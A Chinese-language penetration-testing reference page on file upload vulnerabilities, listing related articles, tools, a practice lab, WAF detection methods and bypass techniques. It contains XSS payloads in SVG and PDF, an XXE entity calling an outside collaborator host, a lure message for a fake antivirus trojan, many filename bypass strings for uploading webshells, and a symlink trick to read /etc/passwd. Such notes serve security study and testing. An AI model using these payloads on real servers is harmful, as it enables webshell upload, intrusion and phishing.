**相关文章** - [简单粗暴的文件上传漏洞](https://paper.seebug.org/560/) - [BookFresh Tricky File Upload Bypass to RCE](https://secgeek.net/bookfresh-vulnerability/) - [Upload_Attack_Framework](https://www.slideshare.net/insight-labs/upload-attack-framework) - [关于File Upload的一些思考](https://www.freebuf.com/articles/web/223679.html) - [Upload与WAF的那些事](https://xz.aliyun.com/t/8084) - [web安全-文件上传利用](https://mp.weixin.qq.com/s/Q4wN01H4fh_ATUnPwng3Ag) - [Web 安全漏洞之文件上传](https://cnodejs.org/topic/5d196c02cdb1f967c1577295) - [文件上传绕过思路拓展](https://blog.m1kh.com/index.php/archives/621/) **相关案例** - [实战渗透-看我如何拿下自己学校的大屏幕(Bypass) ](https://xz.aliyun.com/t/7786) - 大量字符 bypass waf 文件上传 - [渗透测试tips:两处有趣的文件上传到getshell](https://zhuanlan.zhihu.com/p/100871520) - 多个漏洞组合利用,无视 OSS 存储 getshell - [实战渗透-从FCkeditor敏感信息泄露到Getshell](https://www.websecuritys.cn/archives/szst-1.html) - 利用 fck 的目录遍历找到上传点,fuzz 上传点的参数进行上传 - [简单记录一次有趣的上传](https://www.t00ls.net/articles-58979.html) - bypass 反代小技巧 - [一次任意文件读取的getshell](https://www.t00ls.net/thread-59330-1-1.html) - 在函数调用获取文件的上传点,通过任意文件读找路径 **相关工具** - [almandin/fuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool. - [PortSwigger/upload-scanner](https://github.com/PortSwigger/upload-scanner) - HTTP file upload scanner for Burp Proxy - [ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) - [Rvn0xsy/zipcreater](https://github.com/Rvn0xsy/zipcreater) - 应用于跨目录的文件上传漏洞的利用,它能够快速进行压缩包生成。 **靶场** - [upload-labs](https://github.com/c0ny1/upload-labs) - writeup : [upload-labs-WalkThrough](../靶场/upload-labs-WalkThrough.md) --- # 检测方法 waf、rasp 对上传文件的检测方法有这几种 - 后缀检测(黑白名单) - 文件内容检测 - Content-Type 检测 - 后端二次渲染(图片裁剪、图片水印) --- # 利用方式 - 网站脚本文件 如 asp、aspx、jsp、php 后缀的网站脚本文件,通过访问上传的 webshell 执行系统命令,获取服务器权限。 - 可造成 XSS 或跳转的钓鱼文件 - html - svg ```html <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> ``` - pdf ``` app.alert('XSS'); ``` - xml - 服务器可执行文件(PE、sh) : 配合社工手段,例如 : 最近办公内网发现大量勒索病毒,信息科紧急部署了新版杀毒引擎,请各部门人员立即下载,下载地址: www.xxx.com/upload/木马查杀工具.exe - mp4、avi : 配合 ffmpeg 漏洞 - shtml : ssi 注入 - xlsx : XXE 1. 创建一个 xlsx 文档,更改后缀为 zip,解压。 2. 打开 Burp Suite Professional,单击 Burp 菜单并选择 “Burp Collaborator client” 将其打开, 复制到粘贴板。 3. 找到 Content_Types.xml 文件,插入 xxe 代码到文件中。 ```xml <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xxx.burpcollaborator.net"> ]> <x>&xxe;</x> ``` 4. 重新压缩为 zip 文件,更改后缀为 xlsx。上传 xlsx 文档到目标服务器,如果没有禁用外部实体,就会存在 XXE 漏洞,burp 接收到请求。 --- # Bypass ## 信息泄露 - 云平台 API key 泄露 ## 解析漏洞 - IIS 解析漏洞 - Nginx 解析漏洞 - Apache 解析漏洞 - CGI 解析漏洞 ## 恶意上传 - zip、mp4 占用资源 - HTML XSS ## 后缀检测 - 后缀名Fuzz - [AboutSecurity/Dic/Web/Upload/](https://github.com/ffffffff0x/AboutSecurity/tree/master/Dic/Web/Upload) - web通用 - htm - html - shtml - .net - asa - asp - ashx - asmx - aspx - axd - cdx - cer - config - cshtm - cshtml - rem - soap - svc - shtml - vbhtm - vbhtml - java - jsp - jspa - jsps - jspx - jspf - php - php - php1 - php2 - php3 - php4 - php5 - phtml - Misc - txt - svg - pdf - xml - xlsx - 大小写(windows) - `xxx.pHp`、`xxx.Jsp` - 空格绕过 - `xxx .php` - `xxx.php ` - 点绕过 - `xxx.php.` - 换行 - `xxx.txt%0aphp` - `xxx.ph\np` - .空格. 绕过(windows) - `xxx.php .` - `xxx.php .jpg` - `xxx.php. .jpg` - 特殊字符 - `xxx.php::$DATA` (windows) - `xxx.php::$DATA......` (windows) - `xxx.php/` - `xxx.php?` - `xxx./php` (linux) - 特殊字符+白后缀 - `xxx.php.jpg` - `xxx.php_.jpg` - `xxx.php/1.jpg` - `xxx.php{}.jpg` - `xxx.php;jpg` - `xxx.php;.jpg` - `xxx.php;+x.jpg` - `xxx.php:1.jpg` - `xxx.php.123` - `xxx.jpg/.php` - `xxx.jpg/php` - `xxx.jpg/1.php` - `xxx.jpg{}.php` - 双写绕过 - `phpphp.php` - `php.php` - `xxx.pphphp` - `xxx.asaspxpx` - 00 截断 - `file.jpg%00shell.php` - `shell.php%00file.jpg` - `shell.php%00.jpg` - .htaccess - 中间件解析漏洞 - 参数 - 修改 `filename="xx.php"` 为 `filename==="xxx.php"` - 修改 `filename="xx.php"` 为 `filename='xxx.php'` - 修改 `filename="xx.php"` 为 `filename=xxx.php` --- ## 文件内容检测 - 免杀 - 添加图片头 - `GIF89a` - 大文件 - 参数污染 --- ## 恶意覆盖 - 覆盖资源文件造成全局 XSS - 覆盖配置文件修改配置 --- ## Content-Type 检测 - Content-Type Fuzz - [Fuzz_content-type.txt](https://github.com/ffffffff0x/AboutSecurity/blob/master/Dic/Web/Upload/Fuzz_content-type.txt) --- ## 后端二次渲染 - 图片马 --- ## 访问拦截 - 路径 - `xxx.com/test/img/1.png/../../shell.php` - 解析 - `xxx.com/shell.php;/.png` --- ## 软链接 如果攻击者上传了一个软链文件,软链描述对应的是 /etc/passwd 的话,攻击者利用程序可以直接读取到服务器的关键文件内容